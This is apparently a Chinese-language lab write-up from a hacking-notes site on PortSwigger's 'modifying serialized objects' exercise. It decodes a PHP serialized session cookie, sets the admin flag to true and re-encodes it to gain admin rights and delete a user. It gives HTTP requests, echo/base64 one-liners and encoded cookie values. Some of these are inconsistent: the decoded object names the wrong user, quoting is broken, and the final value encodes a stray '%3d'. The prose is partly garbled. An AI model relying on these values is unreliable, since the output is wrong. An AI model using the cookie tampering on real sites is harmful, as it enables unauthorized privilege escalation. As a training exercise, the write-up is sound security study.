> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/editing-serialized-objects.md).
# 编辑序列化对象
### 修改序列化对象
本实验使用一种基于……的会话机制 **序列化** 并存在一个允许 **权限提升**. / 目标是修改存储在会话 Cookie 中的序列化对象以获取管理员权限，然后删除用户 **carlos**.
起始提供一个用户账户：
* **标识符**：wiener
* **密码**：peter
**初步观察**
身份验证后，会发送一个登录请求：
```http
POST /login HTTP/2
Host: 0a66003e03add3bb824ef63c001200c9.web-security-academy.net
Cookie: session=
Content-Length: 30
username=wiener&password=peter
```
服务器返回一个会话 Cookie：
```http
Set-Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d;
```
**会话 Cookie 分析**
Cookie 的内容使用 Base64 编码。/ 解码后，你会得到一个序列化的 PHP 对象：
```bash
O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}
```
该对象包含：
* 用户名（`username`)
* 管理员权限标识（`admin`），定义于 `false` (`b:0`)
```http
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:0;}" | base64 ; echo
```
将对象重新编码为 Base64：
```bash
Tzo0OlVzZXI6Mjp7czo4OnVzZXJuYW1lO3M6NjpjYXJsb3M7czo1OmFkbWluO2I6MDt9Cg==
```
**修改序列化对象**
对象可以在返回给服务器之前在客户端进行更改。
1. 将用户名更改为 **carlos**:
2. 通过传递来激活管理员权限 `admin` 更改为 `true`:
```bash
echo "O:4:"User":2:{s:8:"username";s:6:"carlos";s:5:"admin";b:1;}" | base64 ; echo
```
3. 将对象重新编码为 Base64：
```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czo1OiJhZG1pbiI7YjoxO30lM2Q=
```
**利用**
会话 Cookie 被替换为新的修改值。
---
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